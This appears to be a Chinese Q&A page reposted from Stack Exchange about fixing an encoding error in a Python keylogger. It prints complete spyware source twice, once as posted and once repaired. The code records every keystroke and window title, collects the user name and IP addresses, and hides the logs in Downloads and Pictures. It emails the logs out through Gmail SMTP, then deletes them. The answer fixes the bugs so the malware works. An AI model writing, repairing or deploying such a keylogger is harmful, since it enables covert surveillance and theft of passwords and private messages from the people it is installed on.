Python键盘记录器运行报错:charmap无法编码●字符
Python键盘记录器编码错误修复指南
问题背景
运行从GitHub获取的键盘记录器代码时,触发编码错误:
'charmap' codec can't encode character '\u25cf' in position 262: character maps to <undefined>
错误大概率出在邮件发送附件的代码段,完整代码如下:
from pynput.keyboard import Key,Listener import win32gui import os import time import requests import socket import random import smtplib from email.mime.multipart import MIMEMultipart from email.mime.text import MIMEText from email.mime.base import MIMEBase from email import encoders import threading import config datetime = time.ctime(time.time()) user = os.path.expanduser('~').split('\\')[2] publicIP = requests.get('https://api.ipify.org/').text privateIP = socket.gethostbyname(socket.gethostname()) msg = f'[START OF LOGS]\n *~ Date/Time: {datetime}\n *~ User-Profile: {user}\n *~ Public-IP: {publicIP}\n *~ Private-IP: {privateIP}\n\n' logged_data = [] logged_data.append(msg) old_app = '' delete_file = [] def on_press(key): global old_app new_app = win32gui.GetWindowText(win32gui.GetForegroundWindow()) if new_app == 'Cortana': new_app = 'Windows Start Menu' else: pass if new_app != old_app and new_app != '': logged_data.append(f'[{datetime}] ~ {new_app}\n') old_app = new_app else: pass substitution = ['Key.enter', '[ENTER]\n', 'Key.backspace', '[BACKSPACE]', 'Key.space', ' ', 'Key.alt_l', '[ALT]', 'Key.tab', '[TAB]', 'Key.delete', '[DEL]', 'Key.ctrl_l', '[CTRL]', 'Key.left', '[LEFT ARROW]', 'Key.right', '[RIGHT ARROW]', 'Key.shift', '[SHIFT]', '\\x13', '[CTRL-S]', '\\x17', '[CTRL-W]', 'Key.caps_lock', '[CAPS LK]', '\\x01', '[CTRL-A]', 'Key.cmd', '[WINDOWS KEY]', 'Key.print_screen', '[PRNT SCR]', '\\x03', '[CTRL-C]', '\\x16', '[CTRL-V]'] key = str(key).strip('\'') if key in substitution: logged_data.append(substitution[substitution.index(key)+1]) else: logged_data.append(key) def write_file(count): one = os.path.expanduser('~') + '/Downloads/' two = os.path.expanduser('~') + '/Pictures/' #three = 'C:/' list = [one,two] filepath = random.choice(list) filename = str(count) + 'I' + str(random.randint(1000000,9999999)) + '.txt' file = filepath + filename delete_file.append(file) with open(file,'w') as fp: fp.write(''.join(logged_data)) print('written all good') def send_logs(): count = 0 fromAddr = config.fromAddr fromPswd = config.fromPswd toAddr = fromAddr MIN = 10 SECONDS = 60 #time.sleep(MIN * SECONDS) # every 10 mins write file/send log time.sleep(30) # for debugging ~ yes program works :) while True: if len(logged_data) > 1: try: write_file(count) subject = f'[{user}] ~ {count}' msg = MIMEMultipart() msg['From'] = fromAddr msg['To'] = toAddr msg['Subject'] = subject body = 'testing' msg.attach(MIMEText(body,'plain')) attachment = open(delete_file[0],'rb') print('attachment') filename = delete_file[0].split('/')[2] part = MIMEBase('application','octect-stream') part.set_payload((attachment).read()) encoders.encode_base64(part) part.add_header('content-disposition','attachment;filename='+str(filename)) msg.attach(part) text = msg.as_string() print('test msg.as_string') s = smtplib.SMTP('smtp.gmail.com',587) s.ehlo() s.starttls() print('starttls') s.ehlo() s.login(fromAddr,fromPswd) s.sendmail(fromAddr,toAddr,text) print('sent mail') attachment.close() s.close() os.remove(delete_file[0]) del logged_data[1:] del delete_file[0:] print('delete data/files') count += 1 except Exception as errorString: print('[!] send_logs // Error.. ~ %s' % (errorString)) pass if __name__=='__main__': T1 = threading.Thread(target=send_logs) T1.start() with Listener(on_press=on_press) as listener: listener.join()
错误根源
该错误由字符编码不兼容导致:
- 日志写入阶段:Windows默认用系统charmap编码创建文件,无法识别
\u25cf这类特殊字符(实心圆点) - 邮件发送阶段:
msg.as_string()默认尝试用ASCII编码邮件内容,遇到非ASCII字符直接报错 - 代码存在拼写错误:
MIMEBase的第二个参数写成了octect-stream,正确应为octet-stream,会影响附件类型处理
修复步骤
1. 修正日志文件编码
修改write_file函数中的文件打开逻辑,指定UTF-8编码:
def write_file(count): one = os.path.expanduser('~') + '/Downloads/' two = os.path.expanduser('~') + '/Pictures/' list = [one,two] filepath = random.choice(list) filename = str(count) + 'I' + str(random.randint(1000000,9999999)) + '.txt' file = filepath + filename delete_file.append(file) # 新增encoding='utf-8'参数,支持特殊字符写入 with open(file, 'w', encoding='utf-8') as fp: fp.write(''.join(logged_data)) print('written all good')
2. 修复邮件编码问题
导入Header模块处理文件名编码,同时修正MIME类型拼写错误:
# 在文件顶部新增导入 from email.header import Header # 修改send_logs函数中的邮件处理部分 def send_logs(): count = 0 fromAddr = config.fromAddr fromPswd = config.fromPswd toAddr = fromAddr MIN = 10 SECONDS = 60 time.sleep(30) while True: if len(logged_data) > 1: try: write_file(count) subject = f'[{user}] ~ {count}' msg = MIMEMultipart() msg['From'] = fromAddr msg['To'] = toAddr # 主题用Header处理编码,避免特殊字符报错 msg['Subject'] = Header(subject, 'utf-8').encode() body = 'testing' # 给MIMEText指定UTF-8编码 msg.attach(MIMEText(body, 'plain', 'utf-8')) # 用with语句自动管理文件句柄,防止资源泄漏 with open(delete_file[0], 'rb') as attachment: print('attachment') filename = delete_file[0].split('/')[2] # 修正拼写错误:octect → octet part = MIMEBase('application', 'octet-stream') part.set_payload(attachment.read()) encoders.encode_base64(part) # 用Header处理文件名编码,兼容特殊字符 part.add_header( 'Content-Disposition', 'attachment', filename=(Header(filename, 'utf-8').encode()) ) msg.attach(part) text = msg.as_string() print('test msg.as_string') s = smtplib.SMTP('smtp.gmail.com',587) s.ehlo() s.starttls() print('starttls') s.ehlo() s.login(fromAddr,fromPswd) s.sendmail(fromAddr,toAddr,text) print('sent mail') s.close() os.remove(delete_file[0]) del logged_data[1:] del delete_file[0:] print('delete data/files') count += 1 except Exception as errorString: print('[!] send_logs // Error.. ~ %s' % (errorString)) pass
3. 额外优化
- 用
with语句管理文件句柄,避免资源泄漏 - 邮件主题也用
Header处理,防止主题中出现特殊字符导致编码错误
内容的提问来源于stack exchange,提问作者sherlock
相关产品推荐
相关产品推荐

